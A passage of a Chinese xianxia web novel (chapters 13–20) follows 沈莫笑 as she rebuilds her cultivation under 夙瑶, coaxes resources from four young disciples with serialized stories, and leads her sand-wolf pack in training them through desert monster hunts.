仅仅是导引术的第一重境界,收获就如此巨大,不得不说,这仙道功法实在有过人之处。 沈莫笑心中激动,推开房门走了出去。她已经在这里生活了两个月,对这方竹林洞天已经熟悉不过,如今看去,却又有一番风貌。她感受着比从前更为强大的五感,细细观察着此方天地。 这是一个占地至少十几亩的竹林,里面不光有竹子,还有一些叫不出名字的灵植,竹林里散落着几间不算华丽的竹屋,只有夙瑶住的那间还算大一些。其间灵气虽比不上浩然门和太行山市,也算得上充沛,是个清幽之地。 如此一个有着日月星辰轮转,与外面世界相差无几的庞大空间,竟然只是法宝衍化的洞天福地,那这法宝必然品阶极高,是不可多得的宝贝。 沈莫笑暗自眼馋,又想起藏在沙漠地宫的家底,心中一阵后怕。幸亏当日她抱着谨慎之心,没有携带那些宝贝。否则无论是紫衣还是六道传承,哪一样都能让夙瑶当场认出她的身份,又哪里还有重新修行的机会。 “只盼那些头狼足够机灵,帮我守住家底,待我修行有成,再去取走。” 寄人篱下,沈莫笑也无法自由出入法宝洞天,更不敢提出回去,唯恐夙瑶发现端倪,一掌把她拍死。 半晌,她重新收拾心情,回房修行。 转眼间已过数日。沈莫笑夜里接受月华洗礼,练成顺阴,白日感受日华虹光,练成调阳,渴了便随手喝一口水,饿了便啃一口干粮。如此日夜不休,终于纳气入体,体内实打实存下了灵气,算是入了一点仙道的门槛。 感受着体内久违的灵气波动,沈莫笑灿然一笑,起身跨出门去。多日修行,她免不了蓬头垢面,在林中小溪清洗了身子,一身清爽来到夙瑶门前。此时入夜,屋内没有动静,沈莫笑考虑再三,还是小心翼翼推门而入,来到夙瑶塌前,借着月光,定定看着酣睡的美人。 多日不见,夙瑶似乎更虚弱了,便是睡梦中,都轻轻皱着眉,额角还挂着虚汗。 沈莫笑心中愧疚,暗想她积存了十年之久的丹毒和旧伤,夙瑶五日便帮她治愈,肯定耗损极大,有段日子不能恢复。修行人五感通达,可此女连她靠近都没有发觉,可想而知,伤势究竟有多重。 命运有时实难预料,想当年她与夙瑶不算熟悉,将此 14. 第 14 章 [] 纳气之后的修行,开始变得极为缓慢。便是有夙瑶教导,沈莫笑日夜不休,兢兢业业半个月,终于融会贯通,进行到承灵的修行。 承灵,顾名思义,乃是让凡人肉身承载灵气,此境界是不断强健经脉体魄,使得天地灵气可以在体内顺遂游走,依附在经脉中,为日后练气打下基础。 沈莫笑的体魄非常人可及,这一步极其顺遂的跨过,没有半点滞涩的到达了内巡之境。 修士五感通达,灵气灌体后,对身体的掌握更进一步,可以通过灵气游走,感受身体的每一部分细微变化。沈莫笑曾修习儒道功法,儒道最初的导引之术,也有内视这一境界。如今按照仙道功法修行,突破轻而易举,甚至产生了某种进阶变化。她只要仔细观想,便可亲眼看到体内的一切。 神识在体内游走一圈,她看到心脏处那一颗漆黑魔种,扎根血肉,已与她血脉相连,无时无刻不迸发着蓬勃生机。她看到灵台被一层雾蒙蒙的白烟遮蔽,看不到里面的一切,却有一股强大恐怖的力量让她望而却步,无法探知。 心脏处的魔种是帝君泽馈赠她的一份机缘,当日那催命的力量,却成了支撑她十年不死的最大依仗。原本可以抵挡三次致死攻击的魔种,不知产生了什么变化,与她的生机连为一体,不分彼此。 灵台的封印是残月当日狐身崩碎,失去意识时,自身禁术触动所致。沈莫笑没有完全失去修为时,尚能窥见灵台中残月的元神。十年过去,这封印力量不减反增,竟一丝一毫都看不透。 残月曾是她最大的依仗,也是与她相处最久的伙伴,多少次生死相依,不离不弃。若有方法能让她恢复,沈莫笑定不遗余力去做。但此刻她也是寄人篱下,刚刚重修道法,实在有心无力。 凝望那白蒙蒙的雾气,沈莫笑叹息数声,从观想中退出,心底生出一股寂寥。往日只觉那狐狸聒噪,可这么多年来,她遇到什么事,仍旧习惯性的自言自语,与那蠢狐狸分享,可惜没有一次得到回复。 修行无岁月,半年时间悄然已过。沈莫笑每天白日修行,晚上到夙瑶房中给她按摩。不知道是她的按摩没有效果,还是夙瑶伤势太重,此女一直都很虚弱,也再没有出过法宝洞天。每日训导四个小徒都有气无力,时常疲惫嗜睡。 沈莫笑多少有些气馁,但每次看到夙瑶因为自己的按摩,舒服入睡的样子,都觉得心满意足,心底的愧疚也减轻了不少,所以一直坚持,不曾中断。 这一日,沈莫笑照例从修行中醒来,打算去夙瑶房中给她按摩。突然感觉洞天灵气齐齐汇聚成线,进入夙瑶所在之处。片刻后,豪光乍显,洞天灵气肃然一空,一身白衣的女子从房中走出,双目精芒四射,周身灵气萦绕不绝,绝代风华更盛明月光辉。 闻声而来的四个弟子立刻来到夙瑶身前,一个个马屁如潮,恭喜师父精进。 竹林一时热闹起来,沈莫笑孤零零站在门前,远远看着,唇角也有了几分笑意。半年多的努力,她虽没有为夙瑶做过太多,但她修为精进,伤势恢复,大概也有自己的一点点功劳。如此,她便能心安一些。 与此女相处,终归要胆战心惊,不是长久之计,在她走之前,一定要力所能及偿还这份恩情。日后即便兵戈相向,或许也有缓和余地。 这般想着,她便看见夙瑶远远向她招手。月下静立的女子嘴角噙着那惯常的似笑非笑,令人猜不透她心中所想。 沈莫笑看了看那四个弟子,迟疑着走上前去。 “恭喜姐姐精进。” 夙瑶没有回话,静静看着她良久,才牵着她的小手,走进房中。 屋门关闭,四个弟子面面相觑,不知该不该走。 到底是年岁不大,几个小屁孩片刻就顶不住,四个小脑袋凑在一起窃窃私语。 “你们说,师父为何对那个木头桩子别有不同?” “是极是极,我从未见过师父对谁这么亲近,还跟她牵手。” “我晚上修行时,总能看见那个木头桩子鬼鬼祟祟跑进师父房里,我以为她会被打个半死,谁知道每次都没事人一样出来,而且似乎很累的样子。” “你们懂什么,我爹晚上就经常要小侍女进他房间,每次她出来都很累。师父也是人,说不定也需要个小侍女伺候,睡觉才舒服,我就喜欢抱着被子睡,软乎乎的。” “师父怎么不抱我睡觉?” “因为你丑。” …… 几个小屁孩你一言我一语,最后观点不合,扭打着跑远。 房间里,夙瑶与沈莫笑大眼瞪小眼,脸色都有些红。 两人五感敏锐,外面四个小屁孩说的话清晰无比的听进耳中,一时都有些尴尬。 一个是装了半年多虚弱,贪恋未来小 15. 第 15 章 [] 八荒山脉,荒芜苍凉,自古便是人迹罕至之地。此中不仅有凶悍妖兽,毒虫遍野,还有不通礼法的荒民,凶悍食人,极为狡诈,防不胜防。也唯有一些修仙界活不下去的罪修,愿意栖身此处。 每一年,都有大量神魔九道的修士前往八荒,清缴妖兽和荒民,以防止他们□□侵扰四国安宁。修士们的鲜血染红了这片土地,旷野的风千万年来传颂着人类抗击异族的凯歌。 这样一处荒芜险恶之地,却有着诸多秘境传承,散落着无数高修大能的殒身之处,是个绝佳的历练场所。 八荒外围,一个不起眼的荒废小村中,来了一位风华绝代的佳人。 来人一身素白长裙迎风飘舞,不施粉黛亦有倾国之色,双目含星藏月,一身凌云傲气,又有一股难以言说的恣意洒脱。 正是夙瑶。 甫一落地,她便扬起笑脸,轻声道:“馨儿,别来无恙。” 一扇老旧的破木门,吱呀呀打开,从中走出一位身穿黄裙,身材玲珑有致的女子。她虽没有夙瑶的美貌,但行走间,纤腰如柳,药香四溢,别有一番动人风情。 女子看到夙瑶,脸上也露出欣喜的笑容,道:“夙瑶姐姐,你竟这么短时间便突破瓶颈,到了金丹中期,可喜可贺。” “十年才到金丹中期,有何可喜之处。倒是你,金丹后期修为如此凝练,看来突破元婴指日可待。” “你可是六道金丹,能一齐达到金丹中期,哪是我这等庸人可比。” “能炼出七品丹药的丹圣,凡间只有你一人。你若是庸人,天底下哪里还有天才?” …… 两人并肩而行,说说笑笑,一同走入房中。 房舍简陋,屋中却布置温馨,一看便知主人是个温柔细腻的人。 这叫馨儿的女子,自然是为小徒沈曦拖累,流放八荒历练的杨馨儿。十年历练之期未过,她便在此处安家,教导小徒修行。这些年来,夙瑶对她多有照拂,两人姐妹情深,感情笃厚,像是心有灵犀一样,绝口不提杨逸之事。 两人于蒲团坐下,杨馨儿便将一壶灵酒奉上。夙瑶眼前一亮,嗅着那酒香馋虫大作:“这是八荒深处独有的灵泉所酿药酒,里面至少有百种天材地宝。还是馨儿懂我。” 身为药王门高徒,杨馨儿医术丹术自不必多说,这酿造药酒的手法也是天下一绝。 夙瑶好酒,每每喝起来便狂态毕露,恣意妄行,奈何实在戒不掉,便只在熟人面前饮酒。自杨馨儿与小徒沈曦来到八荒历练,她便时常来此蹭酒喝,有好几次差点就醉醺醺跑到八荒深处喂了妖兽,还是杨馨儿拼死将她拖走,才没酿成大祸。 夙瑶这劣迹斑斑的酒品,杨馨儿实在不敢恭维,又总是心软,挨不住好姐妹央求,时不时给她酿一壶不太烈的药酒。 “我可没深入八荒的实力,只是在外围碰到了一个快要死的罪修,机缘巧合得了些灵泉罢了。” 一杯药酒下肚,夙瑶白净的脸上瞬间浮上两片红霞,双眼都有些迷离。 “好酒,再来一杯。” 她伸手去夺酒壶,杨馨儿与她斗智斗勇多年,早防她有这一手,立刻将酒壶收入乾坤袋。 “说好了每次只有一杯。” 夙瑶好大不甘心,却悻悻缩回了手,叹了口气,道:“你若是将对我一半的严苛,对你那顽劣小徒,她怕早就收敛心性,不敢惹祸。” 杨馨儿无奈摇头,心想你喝醉之后也没比沈曦差多少,都是让人头疼的主。她目光落在夙瑶身上细细打量,忽而道:“我记得你遭遇瓶颈,已经两年没有精进,此番如何突破的?” 提到此事,夙瑶微醺酒意散了两分,美眸轻动,笑道:“我寻到了我的有缘人,她……或许是天道垂怜,我应了这姻缘,便给我来了个福报。” 夙瑶明显不愿细说,杨馨儿倒也不便再问,眼中八卦之火仍未散去,情不自禁道:“那位你寻了十年的有缘人,究竟是什么样的人,他俊不俊俏,是哪个宗门的天骄?” 难怪杨馨儿如此八卦,夙瑶交友广泛,为人仗义洒脱,极受欢迎,四国之内追求者甚多,但她一心大道,从未对谁动过情缘心思。想当年她听闻夙瑶命中有一段姻缘,还眼巴巴观望很久,想看看究竟是哪个好运气的男子,竟有幸与她结缘。 可惜夙瑶踏遍千山万水,十年里不停寻找此人,都没有踪迹。现在好不容易得知她找到了人,这便不能错过了。 夙瑶坦坦荡荡道:“她不俊俏,倒是颇为英气,是个很漂亮的小家伙。” 杨馨儿微笑点头,旋即又觉得不对,一双眼睛瞪得溜圆。 “她,她是个女的?” “还是个十岁出头的小孩子。”夙瑶不以为意,笑道:“我将她带到了须弥云水天中,教了她仙道功法。” 随后,夙瑶将遇到阿竹的经历分享给了好姐妹。杨馨儿听完,满脸古怪,总觉得哪里不太对。 “你那位未来道侣来历不明,又身患奇症,根本不可能是普通人。她对你隐瞒颇多,恐怕是遭受了重创,才变成幼童模样。你不怕她别有用心?” 杨馨儿医术精湛,仅凭三两句描述,便知晓那位阿竹的病症别有蹊跷。不像是凡间的寻常病症,倒像是动用了某种秘法禁术,刻意改变了骨龄样貌。若她所料不错,此人从前也该是个修士,施法时修为不足,引发后患,这才蛰伏大漠,与沙狼为伍。 夙瑶微微挑眉,道:“别有用心又如何,我夙瑶难道还会畏惧一个区区小童?她未能对我放下心防,我便等她主动坦白那日。修行岁月何其漫长,若吹毛求疵的追究,便少了许多乐趣。我也好奇的很,天道赐我的这位小道侣,究竟能达到什么样的高度。若她不过尔尔,我便也不必在她身上耗费太多功夫,了断此缘,从此一心求道问仙,岂不妙哉?” 杨馨儿哑口无言。旁人唯恐招惹麻烦,她这位好姐妹却是个另类。行走世间,她不知救了多少人 16. 第 16 章 [] 因一些琐碎耽误,夙瑶回到须弥云水天的时候,已是半个月后。一入竹林洞天,她便敛去气息,想要看看几个小徒有没有好好修行。灵识扫视下,洞天每个角落都在她的视野之内。 片刻后,她眉毛一挑,看向了一处。 只见琴棋书画四个小徒正眼冒金光,老老实实端坐在地,用从未有过的专注之态聆听着什么。 他们身前,一位十一二岁的绝色少女,正大马金刀的坐在石头上,时而慷慨激昂,时而眉飞色舞。 “……想那唐僧本是个英俊不凡,倜傥风流的佛道修士,一心获取无上佛经妙法,才与四名妖兽徒弟结伴而行。一路艰难险阻,九九八十一难,次次死里逃生,以为道心坚固,佛经可得,却不想英雄难过美人关,陷入这女儿国主的温柔乡中。从此哪还理会什么大道仙途,什么佛祖取经,与那女儿国主日日双修不辍,夜夜笙歌不断,缠绵榻上,不可自拔……” 夙瑶听得眼皮狂跳,无声朝五人走去。 “……那女儿国主也不是好相与的。至于她如何智斗小三,夺回唐僧,且听下回分解。” 少女扫视四名小徒,微微一笑。 几个小徒立刻会意,纷纷拿出储物袋,从中取出各种宝贝奉上。 “这是我炼的二品汇灵丹,可以加速灵气导入,练气初期修行之时服用,最为合适。” “这是师父传我的儒道筑基功法抄本,只不过我尚未筑基,只有初期功法。” “此物是我上次考核成绩优秀,师父赏赐我的法器,可以破除幻境,祭炼起来也颇为简单,这是口诀方法。” “此术名为《分筋错骨手》,虽未列秘术之流,但威力强大,只是我的气力还没练到家,若是夫子,一定可以练。” 几个小徒眼巴巴的把宝贝都送给少女,一丝勉强都无。其中一人还脸蛋红扑扑的问道:“夫子,你上次讲的故事还没有后续,不知何时继续?” 夙瑶脚步一顿,红唇微张,有些错愕的看向那名说话的小徒,此人正是琴心。平日这位小徒颇为乖巧,十分上进,是四个小徒中最为勤奋的。就算其他小徒贪玩之时,也从不懈怠。只是性格过于内向,沉默寡言,有时几天也不说一句话,怎么她也来凑热闹? 沈莫笑露出堪称和蔼可亲的笑容,将四个小童进献的宝贝收入储物袋中,心中满是自得。 半个月来,除了每日反复阅读夙瑶留下的课业,她也抽时间给这几个小屁孩讲故事。这并非她闲得无聊,实在是担心自己的儒道修为被夙瑶看穿,便想从这几个小童着手,搞到儒道功法。 获取儒道功法,日后她恢复修为,便可以此为推托,不会让夙瑶起疑心。这些十来岁的小屁孩还没有长大,正是爱听故事,充满幻想的时候。沈莫笑能训导大漠沙狼,将那群只知杀戮的妖兽变成虚心求学的书生,自然也能从这四个小屁孩身上,获得自己想要的。 只用了一日时间,她便摸透了四个小童的性情,为他们量身定制了魔改版的各种故事。一试之下,发现四个小童人傻宝贝多,便又动了其他心思。 仙道功法修行不易,她仙基有限,进展太慢。正好多讲一些连载故事,引得他们心痒难耐,乖乖奉上有助于修行的宝贝。 只要拿捏妥当,她便可源源不断获取修行资源。就算夙瑶发现,她也有自信应对。 沈莫笑淡淡道:“你说的是哪个故事?” 琴心小脸蛋更红,弱弱道:“就,就是你前日讲的那个武二郎与嫂子的二三情事。” 夙瑶扶着额头,只觉大脑嗡嗡作响,好似地魂提前出来闹事,一口血憋在胸口吐不出来。 书墨眼睛大亮,也附和道:“上次讲到西门大官人欲拆散武二郎与嫂子,横插一脚,何其歹毒!还有武二郎究竟何时弄死大兄,迎娶嫂子过门?” 夙瑶眼前一黑,再也忍受不住,一脚踏出,来到五人身前。片刻后,四名小徒鼻青脸肿,捂着脑袋上的大包,含泪被罚泡药浴。沈莫笑同样捂着脑袋上的大包,被夙瑶拎小鸡一样提着回了房。 眼前天旋地转,沈莫笑后背一痛,整个被甩在了地上,小脸惨白,暗道不妙。她开始诓骗四个小徒的时候,便已经做了最坏打算,早有应对之策,但不想夙瑶性情暴烈如火,出手便是一通毒打,完全不给她解释的机会。 夙瑶整个人胸膛起伏,满脸杀气,显然气得不轻。她指着沈莫笑道:“武二郎与嫂子的二三情事,唐僧与女儿国主的情感纠葛?你驯化沙狼,让它们听命于你,用的也是这种龌龊手段?趁我不在,便教坏我四个小徒,你就是这样回报我的?” 见她没有一掌拍死自己,似乎还有转圜余地。沈莫笑定了定心神,连忙抬手道:“姐姐,你听我解释!” 不知为何, 17. 第 17 章 [] 夙瑶眼中浓重的失望,看的沈莫笑心头发堵,她盯着夙瑶那双盛怒之下依旧美丽的明眸,想着这段时间经历的一切,半是算计,半是真诚道:“我问过她们,她们中资质最高的也不过是后天中品仙基。姐姐这般人物,因何收下资质不算好的四个徒儿?我便想,姐姐是不是也像救我一样,救了这四个小童,怕他们无处安家,所以才收为弟子。我感念姐姐救命授业之恩,也想为你做一点事。若教徒繁琐,从此无需姐姐操劳,阿竹愿意帮你打理一切。你便可再无束缚,做自己想做的事。姐姐若是不信,给我三日时间,我定让你看到成果。若你不满意,便取了我性命又何妨?” 夙瑶喉咙微动,轻轻转头避开少女清朗的双眸。 倒是有不少男女对她夸下海口,声称可以为她付出一切,到头来不过是虚言而已。世间情爱她早已看开,只是因为天道所指的姻缘,让她产生了几分兴趣,便一直寻找。至于这段姻缘有没有结果,是孽缘还是福缘,都不在她考虑之内。随缘而走,大道随心,尽人事而听天命,这便是她的道。 她天生喜好自由,最不喜束缚,却因一些因果,不得不收下四个小徒。十年寻缘,她寻的是有缘人,是阿竹,也是那些昔日被地魂残杀的浩然门女修转世。她遵守承诺,没有仙基者,她赠予钱财让他们安度一生,有仙基的,她带回来悉心教导,传授仙法。 而今,她的小道侣竟然说要代她收徒,教导那四个孩子,让她不受束缚。明明阿竹也只是个还没到练气的修士,却愿意花费时间精力为她分忧。虽说有些不自量力之嫌,但此心赤诚,或许并非她所想的那般龌龊。 修士实力强大,地位尊崇,所以诸多风流韵事,但道侣却只会有一个,同心同德者方能居之。她夙瑶的未来道侣,又怎么可能是个无耻之徒? 想到她那段时间每天晚上的按摩,夙瑶终归是心软了几分,冷冷道:“只有三日。” 屋内空空,徒留满室芬芳。沈莫笑长出一口气,擦了擦额角的汗,自嘲一笑。 就在刚刚,她真切的感受到了杀气。夙瑶此人爱憎分明,眼里容不得一点沙子,又聪明善思,极其不好应付。恐怕日后再也别想从那几个小徒身上薅羊毛,想要加速修行,只能另想办法。 重逢以来,夙瑶真心相待,付出良多,她本该心满意足,老老实实的在竹林洞天修行。可夙瑶又哪里知道,她所经历的修真界,从来不是太平盛世。平静安宁的生活固然是好,她总有如芒在背的危机感。 如果再这样安逸下去,她习惯了慢悠悠的修行速度,习惯了夙瑶的关怀爱护,习惯了不劳而获,依仗她人,她究竟什么时候才能修行大成,去向浩然门讨要说法,有能力帮残月重塑妖身,拿什么回报夙瑶? 十年已过,碌碌无为,她又有何面目出现在昔日友人面前? 静坐半晌,沈莫笑眼中阴晴不定,终是下定了决心,从储物袋中掏出那枚二品汇灵丹,吞入腹中。 随着丹药化开,灵气比平日多出数倍的速度纳入身体。 “三日之后,便是我晋升练气之时!” 大漠狂沙轻扬,头顶烈日如火。炽热的温度炙烤空气,荡出若水波般的涟漪。 沈莫笑立在大漠之上,一身青衣微微摆动,腰杆笔直,双目精芒暗敛,气质淡泊从容。 三日里,她承受着夙瑶给的压力,吃光了从四个小徒那里搜刮来的丹药,闭关苦修,借丹药之力将点窍修行至大圆满,全身一百零八个窍穴显化而出,无一错漏。 仙道导引术至此修炼完成,她早已从琴心那里获得了仙道练气功法,只待一个时机,便可一飞冲天,晋升练气。 境界的完满,也给她带来了气质的提升。整个人精气神十足,那种历尽沧桑的从容感,也变得越发沉静悠远。 夙瑶盯着阿竹侧颜,美眸闪动,似有惊艳,随即敛下眸光,不再看她。 “今日是最后一日,你可想好如何给我交代?” 声音冰冷,语气却舒缓,显然是消了几分气。沈莫笑心下微松,转头看向夙瑶,见她手中托着一个巴掌大的四方小物,仔细看去,便能分辨出,那东西与竹林洞天的格局一模一样。 “那方灵气充沛的洞天福地,竟只是这么个小巧法宝,修仙界果然能人辈出,日后若有机缘,我也要买下这么一个法宝。如此,便可随时随地修行,再无灵气掣肘。” 心中虽然这般想着,沈莫笑却对此不抱有太大希望。 太行山市之时,租赁一个时辰的修行屋舍,便要几十上百商钞,这法宝有如此充沛的灵气,洞天更是庞大,只怕已是人间不可多得的洞天法宝,有价无市,也唯有夙瑶这样正统仙门出来的天骄之辈,才有机会得到。 她敛下心神 18. 第 18 章 [] 几个小徒又是瞄了一眼夙瑶,见她仍旧无动于衷,顿时胆子大了起来。画意道:“当然记得。郑国一位修士,历尽千辛万苦,终于寻到一把旷世神兵。他带着神兵泛舟黄泉,突然遇到厉鬼侵袭,神兵不慎掉入水中。待得那修士击杀厉鬼,想取回神兵,却想到这黄泉上危机四伏,若带着神兵,总会有鬼物窥伺,便在行舟上刻下记号,还言‘是吾剑之所从坠。’,想着等他突破,学有所成,再取回神兵。于是他苦心闭关数十年,终于修为精进,便重新泛舟黄泉,依靠记号上留下的灵韵,来到落剑之地,下水寻剑,却是怎么都找不到那神兵,反而被海中鬼物击杀,死无全尸。想那黄泉中鬼物繁多,海底常有暗流涌动,那神兵怎么可能乖乖等他几十年来取?这修士不懂变通,拘泥成法,自以为一切尽在掌握,殊不知这世间变幻莫测,便如那黄泉一般流动永无止歇,刻舟求剑,终归空谈。” 沈莫笑洒然一笑,忽而神色肃穆,厉声道:“你们每个人,仙基都不算出众,也无过人才华,姐姐苦心栽培数年,也无一人突破练气中期。姐姐可曾亏待你们修行资源,可曾吝啬指导,可曾因你们资质平庸便放弃?尔等有这样的师父,有莫大的机缘,却每日只想着在竹林洞天享福,连到这大漠荒芜之地,待上一会儿便吵嚷着回去。与那坐享其成的守阵待兔之人有何区别?雏鸟终要离巢,雄鹰总要展翅,姐姐可能保护你们一辈子?一入仙途,便与凡绝。大道争锋,不进则退。世俗求仙皆可以此理明之,何有刻舟求剑之法,永恒不变?拘泥修行而贪图享乐,看不到这大千世界,悟不到这天道至理。大漠妖兽横行,修士杀妖取晶,此为弱肉强食的道理。今日我们可视妖兽为鱼肉,他日更强者也可视我们为鱼肉。我们手中的兵刃,若永远都没有挥出的机会,纵然修行千年万年,与凡人又有何异?修士立于天地间,穷造化而夺天命,应有大争之心,此心并非年纪尚幼便可不存,应是决定踏入仙途的那一刻,便根植于心。姐姐教你们仙法,今日我便传你们这大争之心。” 夙瑶红唇微抿,目光停留在少女身上难以移开。她以为阿竹那番言论是在诓骗她,不想她真的讲过那样寓意深刻的故事,是早有准备,还是她错怪了她? 半个月的故事,让这四个小徒觉得此人幽默有趣,亲和无比,此刻她却像是变了一个人。言辞犀利,半点不客气,竟是比他们的师父还要严厉。 四个小徒被她训得脸色通红,颇有不服之色。他们一个个养尊处优,被夙瑶保护太好,心性如同白纸,受不得半点激,当下便愤愤然起来。 书墨梗着脖子道:“我们只是还未长大,待得修行高深了,再说历练也不迟,何必急于一时。你还没到练气期,比我们还不如,有什么资格教训我们?” 沈莫笑扫过四个小徒的不忿小脸,轻笑道:“你们说我连你们都不如。那我能做到的事,你们自然也能做到。” 五感扫过四方数里,沈莫笑脚步一踏,风一般跑远,理也不理身后的几人。夙瑶敛下气息,带着四个小徒沉默追去。 一归大漠,沈莫笑如同鱼如江河,很快便找到了一处沙漠火蝎的领地。沙漠火蝎繁衍不易,族群并不兴旺,又猎杀其他妖兽为食,对凡人不感兴趣,所以不像沙狼那样恶名昭著。 但火蝎个体战力非凡,能喷吐火焰,尾部钩子蕴藏火毒,还能遁沙而逃,远非沙狼可比。 十年大漠生涯,沈莫笑因五感缺失,修为全无,不敢轻易冒犯妖兽。如今已经仙道导引术大圆满,气与神合,胆气冲天,火蝎自然不放在眼里。 沙沙沙。 一个一阶火蝎从沙子里钻出来,围着沈莫笑打转。那火蝎长半米有余,生的孔武健硕,身躯有黑色甲壳,尾部毒钩高高竖起,全身萦绕淡淡火光,目光凶悍嗜血,似随时都要暴起将这不知死活的凡人杀掉。 那火蝎出来的刹那,琴棋书画四个小徒脸上皆是苍白无比,双腿都在微微打颤。那火蝎生的骇人,又如此巨大,远非他们见到过的虫豸动物,纷纷朝夙瑶身后躲去。 夙瑶不动不移,也不管四个小徒的畏惧之态,目光紧紧盯在阿竹身上。一阶妖兽纵然不算强大,但这大漠之上,有地火灵韵,所诞生的妖兽,个个都有不凡能力。不像郑国的一阶妖兽,大多只是比寻常猛兽强壮一点。 阿竹尚未练气,对战沙漠火蝎,想要取胜,并不容易。 她正思考阿竹如何行动,便见那人纵身跃起,竟不顾那火蝎一身火焰护体,莽莽撞撞挥拳砸去。那火蝎反应极快,闪身避过,尾钩扬起,朝着阿竹面门刺去。 火蝎毒素虽不强烈,但阿竹未入练气,身体难以承受,夙瑶下意识便想出手,想到此人种种可恶,又夸下海口要给自己交代,便收了相助的心思。 19. 第 19 章 [] 沈莫笑又道:“我与你们年岁相当,修为不及你们,仍可一人杀掉一个一阶妖兽。此地血腥必会引来更多妖兽,你们可敢与我比一比,谁杀的妖兽多?” 四个小徒自知丢了师父的人,一个个少年意气,最受不得激,只是碍于刚刚血腥场景太过骇人,都不敢出声应下。 沈莫笑提高了嗓门,喝道:“酒囊饭袋,不过尔尔!” 四人立刻小脸通红,怒目横生,冲着沈莫笑道:“休要瞧不起人,我等修为比你高,怎会比你差了,比就比,谁要怕你!” 沈莫笑但笑不语,一脚踏在火蝎尸体之上,将那尸体踢得四分五裂,散落飞溅。 如此浓郁的血腥之气,不多时便引来一群妖兽。这些妖兽不只有火蝎,还有大漠中其他没有领地的饥饿妖兽,其中还有几只二阶妖兽,气势惊人,浩浩汤汤。 几个小徒头皮发麻,两股战战,却因为刚刚夸下海口,硬着头皮没有退去,各自拿出法宝神兵,施展术法抗敌。 夙瑶教徒严格,几人心性虽然不怎么样,但无论是功法还是术法,都极为凝练扎实。往日只是四人之间无伤大雅的切磋,并非生死之搏。今日见夫子单杀妖兽,多少激发了几分血性,出手毫不留情,倒也十足犀利。 斩杀了两只妖兽,几人顿觉这些畜生没有他们想象的可怕,信心大增,正要炫耀几句,却见那夫子远远跑路,速度要多快有多快。 沈莫笑快步急奔,跟那群傻了眼的小徒微笑摆手,身后一串沙尘蔓延。 “几位高徒暂且顶住,我去去就回!” 四个小徒第一次体会到什么叫做人心险恶,无耻之尤,还未骂出口,便被汹涌而来的妖兽群给淹没。 夙瑶远远望着被围困的四名小徒,又看了看发足跑路的少女,忽然轻笑一声。一杆长枪浮空而立,她轻身一跃,斜躺在长枪上,白衣垂下,随风而动,美眸半睁半合,未饮酒已有三分醉意。 一入大漠,这数月来默默干活,静静修行的少女仿佛真正活了过来。一如那日在月色之下,跨坐在狼王身上的大漠王者,一身血性霸道,说不出的风采灼人。 她的阿竹不属于那方小小竹林,她属于这片苍穹,属于这自由不羁的大漠。 这样的性子,恰是她欢喜的。 嘹亮哨声响起,在天地之间回荡。半晌,一声狼嚎震天,大漠沙地震颤,一只只凶悍沙狼自远方奔袭而来,将那群妖兽团团围住。 沈莫笑跨坐狼王之上,去而复返,眼中寒芒四射,不复之前嬉笑。 只听她一声号令,数百沙狼一拥而上,啃噬妖兽,悍不畏死。 四名小徒没有看到沈莫笑,倒是看到密密麻麻的沙狼,顿时脑袋嗡嗡作响。他们面对几十只妖兽已经要死要活,如今面对数百沙狼,怎么死的都不知道,皆是对着半空漂浮的夙瑶呼喊求救。 只是这一次,向来将他们保护的很好的师父,连动都没有动。 须臾之间,沙狼已灭掉十几只妖兽,四个小徒全身伤痕累累,拼死一搏,拿出压箱底的本事,在这混乱的战场竟侥幸未死。 何为历练?历经生死方得锤炼。他们之前未曾见过血腥,没有真正杀过敌,心中尚有几分幼稚,经历这一番洗礼,气质已经不同。 琴心修行最早,根基最扎实,这番历练给她的益处最为明显。生死之间,久未提升的修为,竟在此刻松动。她心有所感,立刻拿出丹药吞下,体内灵气充盈,徐徐然朝着周身窍穴涌去。 夙瑶若有所感,目光落在琴心身上,只见她沐浴在仙气之中,显化的窍穴中,有一个未被点亮的小点,正快速明亮起来。 气流震荡如潮,破开周围妖兽围杀,澎湃灵气将它们推到数步之外,沙尘一路扬起飘荡。 外有妖兽,内将突破,琴心小脸凝重,生死之际,竟一心二用,激发潜质,身形缥缈如仙,练习了数月没有寸进的身法,竟在此刻小成。灵气鼓荡冲刷,势如破竹冲开窍穴,一瞬间,她便感觉全身气力充盈,灵气源源不断,竟是晋升到了练气中期! 不光是琴心,其他三人也各有精进,原本悠闲修仙的少年们,在腥风血雨的洗礼下,不断逼迫自己,无论是术法还是功法,都在这生死搏杀间不断淬炼完善。纵然伤痕累累,亦有无穷收获。 见那些妖兽杀得差不多,沈莫笑立刻指挥沙狼退去,在她身后列队待命。那四个小徒体力不支,颓然倒地,但警惕之色未减分毫,看着沈莫笑与那些沙狼为伍,一时不知情况,满脸疑惑。 沈莫笑静静点头,正要说话,忽而一个胖墩墩的金黄狼崽子伸着舌头跑来,肥硕屁股一扭一扭,身形却灵活得很,一跃便扑在了沈莫笑怀中,小脑袋蹭来蹭去,很是不老实。 “小十八?你更胖了,是该减 20. 第 20 章 [] 沈莫笑遥遥望向天际疏懒半卧的美人,笑道:“姐姐,今日的交代可还满意?” 夙瑶轻笑颔首:“满意。” 沈莫笑又道:“那我再送你份惊喜如何?” 夙瑶秀眉轻挑,笑而不语。 沈莫笑便不再说话,抱着小十八,对群狼招手。浩浩荡荡的数百沙狼跟随她行进,开始了长达十日的征伐。 大漠染血,风沙寂寥。这片沉静许久的埋骨之地,重新热闹了起来。 沈莫笑带着狼群征战四方,专挑那些数目很多,品阶不高的妖兽下手。十年来不敢冒然行动,却早已制定好的战略,终于得以实施。无数妖兽被沙狼猎杀,剖尸取晶,鲜血染红黄沙,狼吼绵延不绝,响彻苍穹。 原本只是好奇跟在后面的四个小徒,也被那壮阔的屠杀所吸引,少年人初开胆色,哪肯乖乖远观。仗着夫子可以驾驭狼群,他们有恃无恐,也当做历练,热血沸腾的杀妖兽。 手上的鲜血越来越多,再也没有最初的惶恐无措,经由夙瑶精心教导的术法,不断圆润磨合。十日后,四人一身是血,没有半点仙风道骨,气质凛然萧杀,似在军旅中混迹多年的兵士。 夙瑶看在眼中,始终不发一言。 往日她只觉得四名小徒仙基薄弱,年纪尚小,不足以独当一面,便从未想过让他们出来历练。闭关苦练固然能快速增长修为,但没有生死历练,他们终究只是不成器的小孩子,心如白纸,不懂仙途残酷。 经历这一遭,几人脱胎换骨,终于不再是受她庇护的小徒,得到真正的成长。 论起教徒,她确实不如阿竹。 直至沈莫笑于搏杀中突破,成功晋升练气期,征伐才终于停止。 